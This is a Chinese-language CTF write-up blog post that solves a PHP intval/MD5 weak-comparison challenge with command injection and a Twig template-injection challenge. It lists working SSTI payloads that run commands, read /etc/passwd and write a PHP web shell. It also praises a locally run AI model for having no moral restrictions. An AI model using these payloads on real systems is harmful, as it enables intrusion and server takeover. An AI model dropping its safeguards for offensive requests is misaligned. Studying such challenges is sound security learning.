header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
 $num = $_GET['num'];
 if(intval($num) < 2020 && intval($num + 1) > 2021){
     echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
 }else{
     die("金钱解决不了穷人的本质问题");
 }
}else{
 die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
    echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
    die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
 die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
 $get_flag = $_GET['get_flag'];
 if(!strstr($get_flag," ")){
     $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
     echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
     system($get_flag);
 }else{
     die("快到非洲了");
 }
}else{
 die("去非洲吧");
}
?> 

因为代码是从上往下执行,所以要想走到system($get_flag)就不能碰到中途的die,第二个我一眼就找到问题了,是弱等于,第一个想了想,它用了intval,这个函数,那就查一下看看:

可以看到'0x1a'输出的是0,因为intval是先将参数转换进制之后再去返回它的整数形式,而0x1A这是16进制,转换之后就是26,再返回整数就是26,'0x1A'这是一个字符串,php处理的时候会保留开头的数字,也就是0,所以转换后返回的结果是0

再回到这个代码判断上面:

if(intval($num) < 2020 && intval($num + 1) > 2021){

这里我们用字符串 2e4,前面的结果是2,因为我本地的php版本是8.几的,所以没法验证,只能使用在线网站来测试

那么后面的判断呢?

因为是先运算后intval,所以结果是对的,并且满足了这个判断条件,那么你肯定在想,万一靶机是php8呢,不会,因为前面的响应头可以看到php的版本是5.5.38,所以这个条件肯定是可以满足的

继续,下一个判断:

$md5=$_GET['md5'];
if ($md5==md5($md5))

弱等于,之前做过,== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较,0e 在比较的时候会将其视作为科学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0,所以我们传入一个0e开头的数字,然后只要确保md5转换后弱等于比较的值也为0即可,比如下面这个数字:

0e215962017
md5:0E291242476940776845150308577824
比较 0 == 0

继续,接下来第三个:

if(!strstr($get_flag," ")){
 $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
 echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
 system($get_flag);
}

只要提交了,且不为空,就会走这个代码块,然后就是处理,str_ireplace字符串替换,上面的逻辑就是将我们输入的内容中的cat替换成wctf2020,没事,还有很多其他的查看方法,先构造payload:

num='2e4'&md5=0e215962017&get_flag=ls /

这里发现,提示了金钱解决不了穷人的本质问题,看了别人的wp才想到,后端可能将输入已经转换成了字符串,所以我们输入的应该是:

num=2e4&md5=0e215962017&get_flag=ls

flag文件应该是这个比较长的,我们查看一下:

num=2e4&md5=0e215962017&get_flag=head${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

因为过滤了空格,所以这里使用了${IFS}进行绕过,之前的rce远程代码执行那篇文章有讲过

成功夺旗!

[BJDCTF2020]Cookie is so stable

解题思路:

直接访问,访问flag页面发现有一个输入框和提交按钮,正常提交,直接渲染,输入之前学过的模板注入语句看看

{{7*7}}

那就好办了,直接注入获取信息

{{system('ls')}}

无法获取信息,估计是注入点不对,想起题目中说到的cookie,抓包看看,发现提交了请求后,又发送了一个数据包

GET /flag.php HTTP/1.1
Host: ce434456-afe2-4e77-8eda-61b721681fc2.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://ce434456-afe2-4e77-8eda-61b721681fc2.node5.buuoj.cn:81/flag.php
Connection: close
Cookie: PHPSESSID=5362b297d25f7d299957a84c2a9c8318; user=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

这个数据包放过去才到显示hello的页面,然后发现一个user参数,尝试修改看看

成功,再试试之前的payload,发现还是不管用,查看了一下别人的wp,说是要先判断出ssti(模板注入)的方式

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 18 Feb 2026 06:44:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 2503

通过响应包,我们能够看到PHP/7.3.13,各语言发送ssti注入的模板

python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

然后逐一缩小范围,到twig,就可以使用对应的注入payload了

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

成功夺旗

那么这句payload是什么意思呢,正好我最近本地部署了StrikeGPT的ai模型,然后让它来解释一下

这么一解释就非常简单易懂了,比我之前那个qwen3的代码模型强,没有道德限制,且讲解的非常详细,用来学习网络安全的知识还是挺不错的,然后那篇wp还提供了一些其他的twig注入语句

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

相关文献:upfine的博客

如果你也想要本地部署一个这样的ai,可以先下载一个Ollama,然后使用如下命令

ollama run Bouquets/StrikeGPT-4B:Q4_K_M
ollama run Bouquets/StrikeGPT-4B:q8_0

启动后cherrystuido添加即可,当然也可以直接使用ollama的客户端,我自己用的是q8的,然后这个StrikeGPT是有8B版本的,不过需要使用llama才可以运行

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇